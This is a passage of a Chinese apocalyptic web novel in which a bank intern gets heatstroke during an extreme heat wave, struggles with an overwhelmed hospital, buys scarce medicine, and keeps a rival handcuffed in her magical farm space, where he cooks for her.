段霞和肖琳琳“失业”了，只能待在寝室24小时开空调，以前太阳能发电系统自带的蓄电池还能在白天给空调供电的同时蓄点电，而现在，基本上太阳一落山，太阳能发电系统就停摆了，她们得切电路重新开空调。 电费消耗得飞快！ 但秦小薇发现，就算这个世界变得再怎么糟糕，有钱人照样能让自己过得很好……比如她对面的邻居。 李阿姨外出的时候，会穿上一种把身体包裹得严严实实的冷却服，据说是之前在国外某个实验室定制的，好几十万一件，用的是航天材料，虽然重量有十几斤，但是它的自动控温系统，会让里面的人始终处于最舒适的环境温度。 有这套衣服在，就算她在白天最热的时候步行出门排队买菜，最多也就因为走的路比较多稍微出一点汗…… 而这样的冷却服，他们家每个保镖都有一件！男主人更是有好几件不同款式的，可以换着颜色穿！ 第45章 第45章中暑（双更合一）…… 针对市民们面对的种种生活困境,市政也不是无所作为。 比如，还没正式升温前，他们就强行征用了市区和乡镇的各大商场、体育馆、大型地下停车场……把它们改造成临时避暑点,那些家里没有安装空调或是在户外热得受不了的普通人,都可以暂时去商场里待着。 各个地图软件还特地用小旗子对这些临时避暑点做了标记,看起来非常显眼。 不过这些地方和之前暴雨时候的临时安置点有一样的问题，里面人太多了,中央空调的制冷效果并不是很好,环境也差，待在里面吃不好也睡不好…… 还有,因为近期中暑倒下的人很多，医院被要求24小时营业，和之前只有急诊24小时上班的情况不同,现在每个科室的门诊都有医生24小时值班,医院几乎是超负荷运转…… 虽然饮用水限购，但各个大小超市里的货却一点都不少，货架上摆得满满当当的,每天晚上店员都会把空掉的货架补满，饮用水和能量饼干就像是卖不完似的……这给了某些焦虑未来会不会饿肚子的普通人很大的安全感。 虽然普通人因为极端高温天气遇到了很多困难,但国家依旧在尽力保障每个人的生命安全。 周六凌晨一点多的时候,银行已经没什么人来办业务了，秦小薇和几个同事聊着天，数着时间等凌晨两点银行关门。 不知道是被她传染的,还是大家的身体都适应不了室内室外的温差，短短三天，他们支行的职工基本上都感冒了，这两天,秦小薇上班的时候，大厅里的喷嚏声和咳嗽声几乎就没有停下来的时候。 为了感冒能快点好，她已经开始在工作的时候戴口罩了，好在银行里的冷气开得很足，她就算戴着口罩，也不会觉得闷热。 正当秦小薇和同事们聊着治疗感冒的偏方的时候，一个矮胖的中年男人从外面冲了进来，他四处看了看，然后冲到秦小薇面前，张口就是：“你工号多少？我要投诉你！” 秦小薇：？？？ 每天接待的客户太多，秦小薇对面前的男人毫无印象，但职业素养还是让她礼貌地问道：“先生，您在办理业务的时候碰到什么问题了吗？” 中年男人憋红了一张脸，支支吾吾地不肯说原因，只一个劲地说要投诉秦小薇。 其他同事这个时候刚好闲着，见她碰到了难缠的客户，纷纷过来帮忙。 “先生，您之前来我们支行办过业务吗？” “先生，您要不要喝点水？坐下来慢慢说……” “……” 被询问了许久，矮胖的中年男人终于憋出一句：“我提金的时候她没说会卡住……” 秦小薇：？？？ 卡住？什么卡住？ 秦小薇已经有些不耐烦了，但为了不被投诉，她还是努力保持微笑：“先生，是装金条的袋子卡住了吗？那个是全密封的，您要是想把金条拿出来，直接用剪刀把袋子剪开就行了！” 中年男人：“不是……” 对银行的工作人员来说，被投诉算是很大的事了，他们内部还有一条不成文的规定“只要是投诉，就必须让客户撤诉，不管什么原因”。比如某些业务，理论上来说不能办，但要是客户投诉了，那就可以办。 一群人围着中年男人问了许久，他终于说了实话。 原来是他“学习”网上博主发的教程，觉得国内要乱起来了，提前试验“把金条藏进菊花里”这个小tips，结果因为没经验，现在取不出来了。 秦小薇：“……” 虽然她一直都知道，在银行工作会碰到很多奇葩客户，毕竟这年头很多业务都可以在网上办，这就筛掉了一大部分懂规则、受过教育的普通人，但是像他这样的奇葩，还是刷新了她的三观。 她是给他办了提金的业务没错，但金条是他自己塞进菊花里的啊！出了事不去医院求助医生来找她麻烦算什么事？ 难道还要她在人家提金条的时候，提醒一句“先生，我们银行的金条不能塞进菊花里噢，出了事概不负责”。 秦小薇真的很想怼他一句“有病就去医院治，别来这发疯”。 不过人家要投诉，他们就得处理，一群人好说歹说地劝了一会儿，中年男人终于放弃了投诉，转而去医院找医生取金条。 秦小薇：“……”心累，还好只有一个月实习期就结束了！ 鉴于现在很多人提金条都是为了应对网上所说的“乱世”，银行关门后经理开总结会的时候，让一个同事用A4纸打印了一张公告贴在柜面边上，上面写着“本行售出的金条不可食用，也不可纳入身体任何部位，如有违反，后果自负”。 秦小薇：“……” 果然，每一条离谱的规定背后都有一个更加离谱的案例。 周六的温度比周五的时候还要高，秦小薇把电动车的车速开到了最大，用最快的速度赶回了家，可能是冷热交替，到家后她就觉得很不舒服。 恶心、想吐、浑身无力、头也疼……她连饭都不想吃，吃了点药，就上床睡了。 一觉睡到下午四点多，秦小薇依旧觉得很难受。 她觉得自己的症状很像中暑，现在网上很多医生科普热射病和高温导致的器官衰竭，秦小薇上网查了查，觉得自己的症状有点像，又开始担心自己会得热射病，便准备去医院看看。 顺便开点感冒药，总觉得她之前囤的感冒药没什么效果，吃了药症状也不见缓解。 身体太难受了，不去医院自己硬熬，也不是个事…… 秦小薇进空间熬了一锅绿豆粥，喝完粥后又吃了一次药，等太阳落山了，她才出发去医院。 白天温度又升高了几度，去医院的这一路非常热，秦小薇一直在冒汗，她的头有点晕，她甚至有种自己会晕在路上的错觉。 骑车骑到一半的时候，秦小薇在路边停了下来，拿出自己提前准备好的水壶，“吨吨吨”灌了一大杯水。 之前预警短信里就写了，补液是缓解中暑的关键，针对不同的情况，短信里还给了不同的建议，比如，普通中暑、老年人或者一些慢性病患者应该补充淡盐水；劳力性中暑或是有症状的轻度中暑，应该补充糖盐水…… 秦小薇有些后悔，早知道就找段霞她们陪她一起去了。 她可千万别倒在路上了…… 她休息了一会，才继续往医院骑，医院里开了空调，到了医院之后，温度一下子降了许多，秦小薇觉得舒服了一些。 秦小薇原本想挂急诊的号，但是手机上挂不了急诊的号，分诊台的护士询问了她的症状后，直接给她挂了普通内科的号，护士说按照医院最新的规定，急诊现在只接待有生命危险的病人，她的情况挂不了急诊。 秦小薇：“……”虽然护士说她没有生命危险让她松了口气，但她觉得自己马上就要晕了，情况也挺严重的。 但护士不给她挂急诊，秦小薇只能去普内科的病区等着。 普内科病区坐满了病人和病人家属，秦小薇靠着墙站了一会儿，才找到一个空位坐下。 她前面还有八十三个病人在排队，还不知道要等多久，她靠在座椅上，时不时就给自己来一口糖盐水。 医院也知道现在普通人在外面走一圈，就可能产生脱水的症状，医院饮水机上的标识，也从冷水、热水，变成了糖盐水、淡盐水。 坐在秦小薇边上的是个年轻女孩，可能是因为等得太无聊了，她主动找秦小薇聊天搭话：“哎，你是来看什么病的？” 秦小薇：“有点感冒，好像还有点中暑了，过来找医生看看……” 女孩：“我陪我妈来的，她有糖尿病，这段时间血糖一直控不住，我陪她来看看。” 秦小薇身体很不舒服，便想用冷淡的态度结束话题，但女孩似乎天生外向，就算秦小薇不理她，她一个人也能说个不停，没过多久，她妈妈也加入了聊天。 “唉，自从暴雨之后，我妈的血糖就没控制住过……” 从她们的讲述中，秦小薇了解到，像高血压和糖尿病这种基础病，除了吃药之外，还得控制饮食、运动。尤其是糖尿病，如果不控制饮食，药吃了跟没吃没什么区别。 糖尿病人连米饭面条都不能敞开吃，最好是吃难以消化的杂粮饭，每顿饭都得荤素搭配，主食的量要严格控制，否则血糖就会马上升给你看……但现在外面售卖的能量饼干，是妥妥的糖油混合物，升糖炸弹。 一日三餐都吃能量饼干，对糖尿病病人来说，无异于是慢性自杀，连着吃个几年，各种并发症肯定会找上门…… 听着她们的讲述，秦小薇忍不住在心里叹了口气，大家都不容易啊！ 时代的一粒沙，落到普通人的肩膀上，就是一座非常沉重的大山。 她等了快两个多小时，终于等到候诊区的大喇叭叫她的名字。 医院的诊室是一人一室，屋里也只有医生一个人。 医生的语速很快：“你哪里不舒服？来解决什么问题？” 秦小薇在医生对面坐下，说了自己的症状：“从早上开始，我就有点头晕、恶心想吐……” 她的话刚说完，医生就递给她一张打印好的处方：“左上角扫码缴费，先去二楼检验科抽个血看看！等结果出来了再来找我。” 整个看病过程，不到一分钟。 秦小薇：“……好。” 抽血、等结果、复诊重新排队……她又等了四个多小时，才见到之前给她开检查的那位医生。 医生看了眼秦小薇的检查结果：“没什么大事，回家好好休息，多喝点糖盐水……觉得不舒服了随时来医院！” 秦小薇：“医生，我觉得我应该中暑了，不需要开点药吗？” 医生把打印出来的病历单递给她：“你回家好好休息就行了……你要是实在担心，就去药店买盒特效避暑药，自己吃几粒。” 秦小薇：“我还感冒，我家里的感冒药吃了没用，您给我开一点感冒消炎药吧！” 秦小薇才说了两句，医生的表情就有些不耐烦了：“不用开！你这是病毒性感冒，不吃药也能自愈……” 说话间，他叫了下一个号，下一个病人已经推门走进来了。 医生的语速依旧很快：“你哪里不舒服？来解决什么问题？” 秦小薇：“……” 秦小薇之前就知道，发生了大灾难之后，医疗挤兑会变得很严重，普通人要是想看病，会比以前难很多，但她自己亲身经历了才知道，竟然会这么难。 等了这么久，医生竟然连个感冒药都不给开！ 早知道医院是这种情况，她还不如在家里躺着休息！ 秦小薇怨念很足，但她现在实在没什么力气和医生理论，只能拖着沉重的身体骑车回家。 折腾了一路，她到家后更难受了。 秦小薇打开手机，联系了暴雨期间认识的方庆，希望他能给自己一点建议，他是医学院的研究生，也算是专业的了。 但方庆可能是在忙，一直没回她的消息。 这几天，有不少医生在网络上科普，中暑之后应该吃什么药，到家后， 秦小薇连着看了一堆视频，找出之前仓库里装药的箱子，自己给自己开了药。 她忍不住在心里调侃自己：没想到她也有当赤脚大夫的机会，第一个病人还是她自己，她也是出息了！ 下午吃的那点粥早就消化完了，现在吃了药，秦小薇觉得饿了，便准备去空间里弄点吃的。 拉布拉多被陆昼养了几个月之后，已经不会到处乱拉乱尿了，她这几天一直在忙工作，没什么时间管它，也懒得定时放它出来上厕所，就没把它关起来，让它在空间里“放养”。 反正这家伙会在她做饭的时候自己闻着味过来，她多做点倒它的狗盆里就行了。 今天也是一样，秦小薇刚把食材拿出来，拉布拉多就从海里游了上来，冲进了她的露天厨房，还甩了秦小薇一身的水。 秦小薇：“……” 本来生病了心情就不好，还要免费给陆昼的狗做饭，想到这里她的心情更差了！ 要不今天不给它做饭了，直接让它吃生的吧！她也省事！ 秦小薇切了一块鱼肉放到拉布拉多的饭盆里：“吃吧！” 拉布拉多凑过去闻了闻，并没有吃，继续仰头盯着秦小薇，一副讨食的模样。 秦小薇：“……”这家伙竟然不吃生肉？陆昼和裴欣难道每顿饭都给它做熟了？ 命也太好了！ 她想了想，把陆昼从仓库里放了出来，陆昼的记忆还停留在几天前，在他的记忆里，他正在和秦小薇“互殴”，他一出来，就往后滚了好几圈，拉开和秦小薇之间的距离。 秦小薇：“不用躲了，放心，今天不打你，你会做饭吗？” 陆昼从地上爬了起来，他打量了秦小薇一会儿，忽然笑了：“你怎么跟个瘟鸡一样？生病了？” 秦小薇：“……”这男的一张嘴就让人想揍他，这也是一种天赋吧！ 秦小薇冷笑：“我看你还是适合在仓库里躺着，无知无觉地过日子！” 听到她的话，陆昼的表情瞬间变了，他闭了闭眼，咬牙道：“对不起，我说错话了！” 看到他不情不愿道歉的样子，秦小薇的心情好了一些，她用眼神指了指桌上的食材：“会做饭吗？” 陆昼答得不情不愿：“会。” 秦小薇：“做个鱼片粥，再做一个番茄炒虾仁……好好发挥，要是做得太难吃了，你就自己吃！” 陆昼：“……知道了。” 秦小薇找了个位置坐下，坐在他对面监督他。 拉布拉多看了看陆昼，又看了看秦小薇，然后把它的饭盆叼到陆昼脚边，仰头和秦小薇一起监督他干活。 她原本以为，像陆昼这种有钱人家的大少爷，能把粥煮熟就已经很不错了，她甚至已经做好了把他做的黑暗料理全都喂给拉布拉多的准备。 但没想到，他切菜的动作还挺熟练，炒菜的时候还会颠锅！ 饭菜出锅前，他先把香肠的那份盛了出来，才继续加调味料做秦小薇的那份。 秦小薇扫了眼桌上的饭碗，看着他的表情有些古怪：“你没给自己做？” 陆昼咬牙提醒她：“十几分钟前，你才让我吃了一大袋面包，喝了四大瓶牛奶……” 秦小薇：“……”这事过去好几天了，她都快忘了。 她尝了一口鱼片粥，味道竟然比她自己做的好吃，看来以后可以经常放这家伙出来做饭！ 就当是让他给香肠付伙食费了！做完饭就把人收进仓库里，隔个五六天投喂一次面包就行了！也不费粮食！ 秦小薇吃饭的时候，陆昼一直离她很远，一副生怕她碰到他，又把他收进仓库里的模样。 陆昼：“喂！我们商量一下，你让我待在这里，我给你做饭，怎么样？” 秦小薇：“不怎么样。” 陆昼：“……” 陆昼：“现在外面应该已经升温了，看你的样子，是又中暑又感冒了？你让我留下来，我传授你一点经验，让你平安度过升温的五个月，怎么样？” 五个月？！ 秦小薇眼前一黑，拿勺子的手抖了一下，这种日子，竟然还要持续五个月？！ 今天才第四天，她就中暑了！ 陆昼继续说服他：“我上辈子可是在没有空调的情况下硬熬了小半年，面对高温，我也算是小有经验。而且……你确定你家的空调能持续运行五个月，中途不会出问题？还是说，你愿意抛弃外面的亲朋好友，一直留在这里。” 虽然秦小薇知道，这家伙说这话就是在故意诱惑她上当，但不得不承认，他的筹码让她心动了！ 在秦小薇的预想中，她理想的退休生活应该是生活富足，没有工作和金钱的压力，有几个小爱好，可以随时去旅游，看看这个世界，偶尔和三五好友约着出来聚一聚…… 但这是个末日世界，秦小薇预想的这些东西都不可能实现了，到了后面，普通人就算是活着，也会变成一件非常艰难的事。 但就算是这样，她依旧想在这样的世界生活得久一点、再久一点…… 整天被关在空间里，没有网络，也没有朋友，甚至连个说话的人都没有……这种生活和坐牢有什么区别？ 光是想想就觉得很可怕！ 秦小薇咬着勺子垂眸思考了一会儿，不知想到了什么，她眼中闪过一丝狡黠，她抬头看着远处的陆昼：“先说说你的经验。” 陆昼：“方法很简单……熬过去。” 秦小薇：“……” 秦小薇：“陆昼，你是不是在耍我？” 还以为他有什么好办法呢？外面这种高温，真要是能凭着毅力硬扛过去，这几天也就不会有那么多户外工作者因为太阳的暴晒被送进医院抢救了！ 市政也不用费心打击要求员工白天在户外工作的黑心老板了！ 陆昼拉了个椅子在她对面坐下，似乎是觉得掌握了话语的主导权，他的语气不疾不徐：“别着急，我还没说完呢！我说的熬下去，是让你的身体逐渐适应外面的高温，不断突破身体能承受的极限……人类的身体，远比你想象的更有潜力。” 陆昼：“药店新上线的特效避暑药买了吗？” 秦小薇狐疑地看着他，点头。 陆昼：“再去同城APP上收几盒。” 虽然药店的特效避暑药得凭身份证购买，一个月还只能买一盒，大家也都知道这是关键时候救命的药，但这个世界，总有人见钱眼开，愿意把这救命的药高价转出去。 秦小薇：“然后呢？” 陆昼：“等你收到了药再说！或者……你也可以放我出去，和我合作，不说别的，这种药，我家里就有好几箱，还是效果更好的特供货，你拿来当糖豆吃都没问题。” 他盯着她的眼睛，声音里全是诱惑。 秦小薇：“……”万恶的特权阶级！ 秦小薇：“……你做梦。” 第46章 第46章做裤子（双更合一）…… 秦小薇打开仓库,拿出一副手铐，她抓着陆昼的手腕，直接扣了上去。 这副手铐还是她前几天在他车子的后备箱里找到的,除了这个,秦小薇还找到了几支灌满了液体的针管,她也不知道有什么用，不过参考陆昼之前的行为,她也能猜到那几支 针管肯定不是什么好东西…… 陆昼皱眉：“你干什么？” 秦小薇：“当然是把你铐起来,你不会以为，随便卖个关子,就能让我放你自由活动吧？” 陆昼想要挣扎，却被秦小薇一句话止住了动作：“老实点，不然你就继续待在仓库里！” 她空间里的露天厨房是个四面通风的八角亭,亭子周围还有一圈镂空的围栏,秦小薇把另外半边手铐铐在围栏上，手铐的钥匙则被她收进了仓库里，除了她,谁也接触不到。 秦小薇：“行了，你就在这待着吧！我出去收药。” “等等！”陆昼在她离开之前叫住了她。 “还有什么事？”秦小薇的语气有些不耐烦。 陆昼：“把我的鞋还给我,还有,给我一套衣服，我身上这套太脏了。” 他之前被秦小薇揍了好几顿，后面又是泡在海水里、又是睡地上,又是在地上打滚……现在他身上的衣服确实脏得不能看了。 秦小薇想了想，去自己存放物资的城堡里找出一双她没穿过的男式拖鞋和一件宽松版的短袖T恤，这些都是她之前囤货的时候买的。 她重新回到八角亭里，把衣服和鞋子递给陆昼：“给！” 陆昼忍不住皱眉：“没有裤子？” 秦小薇：“我的裤子你应该穿不了。” 陆昼闭了闭眼：“你就不能出去帮我买一套衣服？” 秦小薇回答得斩钉截铁：“不能！” 她昨天上班的时候,还在公寓楼下看到了之前给她做笔录的警察，对方依旧在调查陆昼失踪的事，她是疯了才会在这个时候去商场按照陆昼的尺码买男装，她是嫌自己身上的疑点不够多吗？ 短袖上面没有图案，陆昼穿上还不算违和。 因为个子比较高，秦小薇穿的是40码的鞋，这个码数，女鞋很不好买，平时买鞋，她都是在男鞋中挑一些比较中性的款，虽然是40码，但她的鞋对陆昼来说依旧有点小，白色的拖鞋被他撑得有些变形，看上去十分局促。 他嫌弃地扯了扯腿上的裤子：“难道你要我以后一直穿着这条裤子做饭？不怕我在裤子上擦了手之后又摸菜？” 秦小薇：“……”可恶！好像又被他威胁到了！ 她想了想，从仓库里翻出两匹纺织厂生产的棉布，因为裁缝店要到26级才能解锁，目前这些棉布只能拿来换金币或是完成机场的订单，秦小薇日常根本用不到它们。 她又去公寓里找了针线盒和小剪刀，担心陆昼会用剪刀当武器，她特意拿了一把剪纸的小剪刀，剪刀的尖端都是平的，根本伤不到人。 秦小薇把棉布和工具一起拿给陆昼：“你自己做吧！织布的棉花还是我亲自从地里收上来的，一点都不掺假，百分百纯棉……这有两匹布，你想做什么都可以！” 她拍了拍陆昼的肩膀，笑得一脸恶意：“有没有裤子穿，能穿上什么样的裤子……都看你的手艺了！” 陆昼：“……” 见他攥着棉布，拳头上的青筋都爆出来了，秦小薇瞬间心情大好。 看这个变态吃瘪可真爽啊！感觉身上都没那么难受了！ 出了空间，秦小薇就打开了同城APP，找人收特效避暑药。 这药在药店里买是十二块钱一盒，一盒六粒，按照一天两粒的推荐量可以吃三天。 网上都说它的效果很好，没什么症状的轻度中暑，吃两粒就能好，有症状的中度中暑，吃完一盒也能好。 现在这种医疗条件下，这算是救命的药了！ 因为限购，在同城APP上，这药已经被炒到了一千块一盒，“身价”暴涨了八十多倍。 APP上有人专门干收了药转卖的活，秦小薇找了一个二道贩子，直接下单了十盒。 秦小薇不想出门受罪，又加了五百，让对方送货上门。 她等了快一个小时，才等到对方的电话：“秦、秦小姐是吗？我、我已经到楼下了，你可以下来了！” 秦小薇：“行，我马上下来，你等下！” 刷卡坐电梯下楼后，秦小薇看到了一个穿着短袖短裤的胖子，他的脸热得通红，身上全是汗，稍微靠近一些，秦小薇就能闻到他身上略微有些馊的汗味。 胖子把手上的袋子递给秦小薇：“东西都在这了，你检查下！” 秦小薇担心对方卖假药，下楼的时候把家里的特效避暑药也带下来了，她仔细对比了药盒和里面的胶囊，才把钱转给他。 收到钱之后，胖子笑得眼睛都眯起来了：“诚信经营，我、我这不卖假药！下次有需要还可以找我……” 秦小薇见他热得话都说不利索了，忍不住提醒他：“你状态好像不太对，要不要吃一颗药预防一下中暑？” 想到一颗药他拆开能卖两百，胖子就连连摇头：“我没事，一直在外面待着，我都习惯了！等下多喝点水就好了……” 虽然他的脸色看起来不像是没事的样子，但这是人家的私事，秦小薇也不好多做干涉，她拿了药就上楼了。 可能是因为之前吃的那些药里有安眠的成分，也可能是因为生病后精力不济，秦小薇到家后没多久就开始犯困，她没急着去空间里找陆昼，直接躺床上睡了。 感觉陆昼说的那种突破身体极限的办法，适合她身体好的时候实施……她还是晚两天再找他说这事吧！ 半梦半醒之间，她被外面的敲门声吵醒了。 是穿着一身冷却服的李阿姨，冷却服上有一个透明的面罩，隔着面罩，李阿姨的声音变得不太真切。 “李阿姨，您有什么事吗？”秦小薇身体的大半重量都靠在门板上，原本艳丽的一张脸此时一片惨白，声音也有气无力的。 忽略她的身高，她此时还真有种病美人的感觉。 李阿姨：“小秦，你这脸色怎么这么难看？生病了吗？” 秦小薇：“感冒了，还有点中暑，昨晚去医院看过了，医生说没什么事，让我回来好好休息……” 李阿姨：“那你可千万要注意点！这个时候中暑可不是什么好事，和单位请个假，这几天就别出门了……对了，我们少爷建了个群，你扫码进下群，以后记得每天在群里打卡。” 秦小薇回屋拿了手机扫码：“李阿姨，怎么忽然建了个群？咱们楼里出什么事了吗？” 李阿姨闻言叹了口气：“21楼有个小伙子家里没空调，热死了，尸体都臭了才被左右邻居发现，也不知道他为什么不去楼下的商场待着，非要待在家里……警察担心还会再出这样的事，就建议我们建个群，天天在群里打卡，要是有人没打卡，我们就过去敲门看看……” 最近社会上出了不少“单身住户热死在家里，尸体臭了才被邻居发现”的新闻，为了帮助普通人应对现在的危机，各大聊天软件都做了一次更新，有的APP上线了群打卡、一键求救的功能，还有的APP改进了UI，把“群打卡”的功能做得更加显眼…… 虽然公寓楼里邻里关系淡薄，但碰到了这种邻居可能会有生命危险的事，大家还是愿意搭把手的！ 毕竟谁也不想隔壁忽然多一具尸体！ 秦小薇：“啊？没想到咱们楼里也出了这样的事……那尸体现在怎么样了？” 李阿姨：“报了警，警察已经把尸体弄走了，说是会送去火葬场火化，到时候直接让家属去领骨灰。” 和秦小薇简单聊了两句，李阿姨就去敲下一家的门了。 睡了几个小时，秦小薇不怎么困了，她看了下时间，早上六点一十。 感觉这周银行改了上班时间之后，她的作息都乱七八糟的。 唉，等病好了再调整作息吧！ 秦小薇进了空间，准备像往常一样，收了黑土地和工坊里的东西，顺便再做一下今天机场的订单。 但她一进空间，就被露天厨房里扭成了麻花的陆昼吸引了全部的视线：“陆昼，你在这搞什么行为艺术呢？” 陆昼咬牙：“我要上厕所，你快给我解开手铐！” 秦小薇这才想起来，她之前为了测试仓库能不能“保鲜”活人，逼他一口气喝了4瓶500ML的牛奶，算算时间，那些液体早就该排出来了……他能忍这么久，也算是很有毅力了。 秦小薇从仓库里拿出钥匙，解开了他的手铐，她指着不远处的一栋建筑开口道：“厕所在那边！” 陆昼飞快跑了过去，拖鞋都跑掉了一只，背影中写满了急 迫…… 秦小薇在原地等了一会儿，他才从厕所里出来，出来的时候，他的脚步正常多了。 秦小薇注意到他已经换上了自己新做的裤子，看着那条两条裤腿长宽都不一样、裁剪得歪歪扭扭的白色长裤，她毫不留情地嘲笑道：“陆昼，你的审美可真前卫，做出来的裤子都这么与众不同哈哈哈哈哈哈！” 陆昼瞪了她一眼，没有回话。 秦小薇笑了一会，才晃了晃还铐在围栏上的手铐：“快过来，别磨蹭！” 陆昼：“你就不能放我在这里自由活动吗？反正那些重要的东西我也碰不到……一直把我铐在这里，我连厕所都没法去。” 秦小薇想了想：“那我把你铐在厕所里？” 陆昼：“……” 他果断伸出右手：“就这了！这里风景好！” 今天运气比较好，鱼竿钓上来了一筐橙子和一个大西瓜，这反常识的一幕看得陆昼震惊不已：“你这空间怎么回事？还能从海里钓上来水果？” 秦小薇拿了把刀，直接切了两个橙子，已读乱回道：“海里钓到水果不是很正常吗？没见识……” 说完，她当着陆昼的面一个人吃完了两个橙子。 听说烤橙子是治感冒的偏方，晚点做两个试试…… 见她吃得开心，陆昼忍不住提醒她：“我已经好几个小时没吃东西了！” 秦小薇看了他一眼，从仓库里拿了一袋面包和一瓶牛奶放在围栏边上的座位上。 可能是之前的四瓶牛奶给他留下了心理阴影，陆昼没碰那瓶牛奶，拆开面包的袋子把面包吃完了。 秦小薇没在空间里待太久，吃完橙子就出去了。 就她待在空间里这一会，李阿姨和对面的保镖已经拉了不少人进群，加上业主群里摸过来的几十人，现在群里十分热闹，已经刷了上百条消息了，秦小薇按照群公告把昵称改成房间号+自己的名字。 群主是对面的男主人，叫奚川。 秦小薇翻了下聊天记录，大部分都是打招呼的消息，还有人在群里@奚川，问他可不可以开放电梯的使用权限，毕竟现在外面的温度实在是太高了，对高楼层的住户来说，每天下楼去楼下的便利店买能量饼干都是一个不小的挑战。 但能量饼干从几个月前开始就在限购，家里没有存粮的，就算再怎么节省，也得两天下一次楼。 奚川不知道是没看手机，还是懒得理这些人，虽然有好几个人@他，但他一直没在群里出现过。 她之前发给方庆的消息也收到了回复。 【方庆：学妹，我晚上和我老板在医院值班，没看手机。】 【方庆：你现在感觉怎么样了？】 【方庆：看你的症状，应该是轻中度中暑，这几天医院像你这样的病人特别多，药房的库存跟不上，上面下了命令，要把药留给更危急的病人，你这种情况，原则上是不给开药的。】 【方庆：你自己去药店买一盒特效避暑药，先吃三天，多喝淡盐水，吃完了还有症状再去医院，到时候你和医生说，你买的特效药已经吃完了，他可能会给你开药。或者你到时候来找我，我陪你找个认识的医生挂号。】 睡了一觉，秦小薇觉得身体没那么难受了，虽然还是头晕，但恶心反胃的感觉没有了，她猜测应该是她之前灌的糖盐水和吃的药起了作用。 【秦小薇：我知道了，谢谢学长。】 【秦小薇：我吃了药又睡了一觉，现在感觉好多了。】 【方庆：学妹，你现在住哪？需不需要我过去帮忙？】 第一次见面的时候，秦小薇就知道方庆对她有意思，不过她也很清楚，他不是真的喜欢她，可能只是追着玩玩…… 毕竟水退后这几个月，因为她态度表现得比较冷淡，他连早安晚安都是断断续续地发，有时候一两个星期都收不到他的消息。 真要是喜欢一个人，是不可能这么不上心的。 这次她也是实在没办法了，才找方庆求助，毕竟她认识的人里面，就他是学医的，还是研究生学历。 秦小薇不喜欢他，直接拒绝了他登堂入室的请求。 【秦小薇：不用了，学长，我室友她们可以照顾我。】 她在沙发上玩了会手机，没过多久，她就在社会新闻上刷到了之前那个在太阳下暴晒测评防晒霜的测评博主。 第一次直播的反响非常好，直播回放比他之前精心剪辑的视频的播放量还要高，那位测评博主为了流量，不顾自己的身体情况，后来又直播测评了一次大牌防晒霜，试图从中找出能和药店的防晒油一样好用的防晒产品。 然后……他就因为暴晒得了热射病进医院抢救了，现在还没脱离危险。 他的粉丝很担心他，还把他送上了热搜。 有官媒报道了他的事，严厉谴责了他这种拿自己生命安全开玩笑、浪费医疗资源的行为。 去过医院以后，再看这条社会新闻，秦小薇觉得新闻上说得挺有道理的。 虽然昨天那个医生的态度很敷衍，还不给她开药，但造成这种现象的本质还是医院病人太多了，医生不得不超负荷工作，再加上医院医疗资源不足，没办法满足所有病人的医疗需求。 要是昨天没有那么多病人，医院的药房又有足够多的药物储存，那位医生的态度未必会如此。 评论区也大多是对那位博主的谴责，觉得他自作自受、要钱不要命…… 秦小薇在新闻上看到，虽然升温才不到一周，但国内某些原本就缺水的城市，自来水已经停了。 升温是这周才开始的，但是水退之后，国内各个城市下雨的次数就少得可怜。 比如宁市，这两个月总共也就下了三次雨，还都是小雨，也就能把地面淋湿，连田里的地都浇不透。 再加上正式升温之前，高温就持续了一段时间，没有雨水的补充，各地水库里的水位一直在往下降，等到了升温这几天，水库和河里的水位更是急剧下降，一天一个样！ 但今天才是升温的第五天！想到陆昼说高温会持续五个月，看着手机屏幕里那些干涸开裂的河床，秦小薇不由得一阵头皮发麻。 没了自来水，等家里储存的水用完了，普通人就只能靠每天限购的2000ML水活着了，天气这么热，下楼买个能量饼干都得出一身的汗，回家她能热得直接灌一瓶水……限量购买的那点水够干什么？ 秦小薇很庆幸自己去云市把海水淡化设备买回来了，否则等空间里存的水用完了，她就得靠每天2000ML的矿泉水生活了。 上次九天不洗头都让她难受得不得了，她不能想象，这么热的天，几个月不洗澡不洗头，她会臭成什么样！ 玩了会手机，秦小薇觉得肚子有点饿了，她进了农场空间，陆昼正拿着小剪刀剪她给的棉布，他表情肃穆，动作小心翼翼，仿佛手下的不是柔软亲肤的棉布，而是什么定时炸弹。 他一个不小心，棉布就会炸了。 秦小薇：“我饿了，去做饭吧！中午我想吃胡萝卜炒培根、清炒海带和香煎鱼排！” 陆昼被忽然出声的秦小薇吓了一跳，手下没控制住，一下子剪歪了，他气得鼻子都快歪了：“不做！” 秦小薇：“行啊！那就让香肠饿着吧！反正它饿个一两顿也不会出事！” 蹲坐在一旁的拉布拉多似乎是听懂了她的话，忍不住“汪——”了一声抗议。 陆昼晃了晃手上的手铐，咬牙道：“给我解开。” 秦小薇满意了，她走过去解开他的手铐，她深谙打一棒子要给个甜枣的道理，便开口道：“等做完了饭，我给你搬张桌子当工作台，这样你干活也更方便！” 陆昼冷笑：“我该谢谢你吗？” 是谁换洗的裤子都不给他一条？还让他自己动手裁！ 秦小薇笑了笑，没有说话。 原来香肠还可以当“狗质”，她好像找到拉布拉多的正确用法了！ 但是，等陆昼把饭做好了，她又不开心了。 他一共做了三份，除了拉布拉多的那份没加调味料，两人一狗吃的东西其实差不多，但是……他和拉布拉多的饭摆盘了，看起来精致又漂亮。 而秦小薇的那份，是用一个大汤碗胡乱装着的，菜还故意混在了一起。 两人的饭摆在一起，一份像是高档餐厅出品的精致套餐，还有一份就是农民工吃的大碗盒饭。 偏偏陆昼之前吃过面包了，他给自己准备的那份，分量只有秦小薇的三分之一，秦小薇要是和他换，就吃不饱了。 秦小薇：太狗了！真的太狗了！这家伙怎么总是能想到新点子气她？！ 陆昼夹了一块淋了酱汁的鱼排，笑得一脸无害：“秦小薇，你怎么不吃？中暑没胃口吗？” 秦小薇：“……”下次！下次她一定要扳回一局！ 她端起饭碗，狠狠扒了一大口饭，她咀嚼得很用力，吃饭的时候还不忘盯着对面的人，像是在把嘴里的米饭当他嚼。 虽然这饭被他弄得卖相很差，但有一说一，这家伙手艺还是挺不错的…… 第47章 第47章证件照（双更合一）…… 吃完饭之后,秦小薇把碗一推，整个人瘫在椅子里：“陆昼，去洗碗！” 陆昼皱眉：“饭我做了,碗是不是该轮到你洗了？” 秦小薇：“正常来说是这样的,但咱俩现在又不是搭伙过日子……你现在是我的阶下囚,还是你求着我放你出来的，你想在我的空间里吃喝拉撒,消耗我的物资,自然要付出一点劳动！” 陆昼：“……” 他深深地叹了一口气，认命似的起身收拾碗筷。 “等等！”秦小薇忽然坐直了身体。 